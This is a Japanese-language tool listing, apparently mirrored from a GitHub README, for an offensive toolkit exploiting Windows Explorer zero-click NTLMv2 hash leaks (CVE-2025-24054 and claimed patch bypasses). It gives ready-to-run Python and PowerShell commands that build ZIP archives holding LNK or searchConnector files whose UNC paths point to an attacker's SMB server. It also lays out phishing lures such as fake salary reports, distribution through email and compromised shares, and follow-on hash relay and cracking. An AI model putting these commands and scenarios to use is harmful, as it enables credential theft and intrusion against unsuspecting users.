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CVE-2025-24054 — Windows ファイル エクスプローラー ゼロクリック NTLMv2-SSP ハッシュ開示 | Kitploit
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GitHubuntouchable17/cve-2025-24054

CVE-2025-24054

Windows ファイル エクスプローラー ゼロクリック NTLMv2-SSP ハッシュ開示

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218ヶ月前未レビュー

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Windows ファイルエクスプローラ ゼロクリック NTLMv2-SSP ハッシュ開示

🎥 実証POC + 2025年3月パッチバイパス

NTLMv2 Hash Disclosure Demo

🎥 パッチバイパス

NTLMv2 Hash Disclosure Demo

上記の画像をクリックすると脆弱性のデモが再生されます

📋 技術概要

このリポジトリは、Windows Shell のファイル形式処理における脆弱性連鎖を分析し、NTLMv2-SSP 資格情報の開示に至る包括的な研究フレームワークを提供します。このツールキットは、Windows エクスプローラのファイルプレビュー操作中に自動 UNC パス解決を悪用する、2 つの異なる攻撃ベクトルを実装しています。

中核となる脆弱性メカニズム

根本的なセキュリティ問題は、特定のファイル形式内に埋め込まれた UNC パスを、プレビュー操作中に Windows Shell が自動的に処理することにあります。ユーザーが特別に細工されたファイルを含む ZIP アーカイブを開くと、Windows エクスプローラはユーザーの同意なしに UNC パスを自動解決し、SMB 認証試行を開始して、攻撃者が管理するサーバーに NTLMv2-SSP ハッシュを露出させます。

攻撃面の構成要素

  • ファイル形式解析: Windows Shell による XML ベースのシェルファイルおよび LNK ショートカットプロパティの自動処理
  • ZIP コンテナバイパス: Mark-of-the-Web (MOTW) 保護を回避するアーカイブプレビュー機能
  • 認証トリガー: メタデータ抽出およびアイコン取得操作中の自動 UNC 解決

🏗️ アーキテクチャの進化

🔰 フェーズ1: SearchConnector を利用した開示 (CVE-2025-24054)

ファイル: ntlm-disclosure-poc.py

この最初の実装は、Windows の検索コネクタ (.searchConnector-ms) ファイルを悪用します。これらは Windows エクスプローラの検索場所を定義する XML ベースの構成ファイルです。この脆弱性は、ZIP アーカイブのプレビュー操作中に Windows が simpleLocation 要素内の埋め込み UNC パスを自動的に処理するときにトリガーされます。

技術的特徴:

  • Microsoft スキーマ仕様に従った XML ベースのペイロード構造
  • searchConnectorDescription 要素への UNC パス埋め込み
  • Windows Search Indexer および Explorer シェルによる自動処理
  • 従来のファイル実行制限の回避

🔰 フェーズ2: LNK-in-ZIP バイパス (CVE-2025-50154 / CVE-2025-59214)

ファイル: patch_bypass.ps1

この拡張手法は、Microsoft の初期パッチに対処するために LNK ファイルのプロパティを活用します。この攻撃は、ZIP ファイルのプレビュー中に Windows エクスプローラがアイコンメタデータを取得し、ターゲットパスを解決する動作を悪用し、慎重なプロパティ構成を通じてゼロクリック悪用ベクトルを維持します。

技術的特徴:

  • TargetPath プロパティに UNC パスを持つ LNK ファイル
  • 初期検出メカニズムを回避するためのローカルアイコン参照
  • プレビュー中の Windows Shell による自動プロパティ抽出
  • ファイル形式の正当性を維持しつつ UNC 解決を達成

🔧 前提条件

Python PoC 用:
  • Python 3.6+
  • 必要なパッケージ: colorama
PowerShell PoC 用:
  • Windows PowerShell 5.1+
  • 実行ポリシー: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

🔰 フェーズ1: Python 実装 (CVE-2025-24054)

root@kitploit:~
# 基本的な使い方
python ntml-disclosure-poc.py 192.168.1.100

# カスタム出力ファイルを使用
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# 出力例
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

パラメータ
target (必須): ターゲット IP アドレスまたはホスト名
-o, --output: ZIP パッケージのカスタム出力ファイル名

🔰 フェーズ2: PowerShell バイパス (CVE-2025-50154/59214)

root@kitploit:~
# 基本的な使い方 - LNK ファイルは自動削除
.\bypass.ps1 -IP 192.168.1.100

# 外部配布用に LNK ファイルを保持
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# カスタムのおとり名と共有
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# 出力ディレクトリを指定
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


パラメータ
-IP (必須): ターゲット SMB サーバーの IP アドレス
-Share: SMB 共有名 (デフォルト: 'share')
-File: ターゲットファイル名 (デフォルト: 'payload.exe')
-Lure: ソーシャルエンジニアリングファイル名 (デフォルト: 'Your_File_For_Payload_Here')
-OutDir: 出力ディレクトリ (デフォルト: カレントディレクトリ)
-KeepLnk: ZIP 作成後に LNK ファイルを保持
root@kitploit:~
graph TD
    A[🔴 CVE-2025-24054<br/>初期脆弱性] --> B[🛡️ Microsoft パッチ]
    B --> C[🟠 CVE-2025-50154<br/>バイパス #1]
    C --> D[🛡️ Microsoft パッチ]
    D --> E[🟡 CVE-2025-59214<br/>バイパス #2]
    E --> F[🔴 現在の状態<br/>アクティブな悪用]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 技術仕様

  1. 📦 ペイロード生成
    • UNC パスを含む悪意のあるファイル (SearchConnector/LNK) を作成
    • 魅力的な名前の ZIP アーカイブにパッケージ化
  2. 📤 配信
    • 電子メール/ウェブ/ダウンロードで ZIP を配布
  3. 💥 悪用
    • 被害者が Windows エクスプローラで ZIP を開く
    • 自動ファイルプレビューが UNC 解決をトリガー
    • NTLMv2-SSP ハッシュが攻撃者に送信される
  4. 🎭 悪用後
    • ハッシュキャプチャとリレー攻撃
    • パスワードクラッキング試行

💀 展開シナリオ

📨 シナリオ1: 直接 ZIP 配布

root@kitploit:~
# ZIP ペイロードの作成
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# 配布ベクトル:
# - 📧 ソーシャルエンジニアリングのおとりを使ったメール添付
# - ☁️ 侵害されたファイル共有サービス
# - 🌐 企業環境でのネットワーク共有ドロップ

🔄 シナリオ2: LNK ファイル転送

root@kitploit:~
# マルチホスト展開用に LNK ファイルを作成して保持
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# ホスト間展開:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# 侵害されたサイトを介したウェブベース配布

🎯 シナリオ3: 標的型ソーシャルエンジニアリング

root@kitploit:~
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

開発者への連絡

root@kitploit:~
- グループ・連絡先: t.me/initial_persistence
- メール: [email protected]
ツールをダウンロード
ベクトルトリガーメカニズムユーザー操作パッチ状況
🔗 SearchConnectorXML 解析 + UNC 解決ZIP を開く🛡️ 修正済み
📎 LNK TargetPathアイコンメタデータ取得ZIP を開く🔴 活性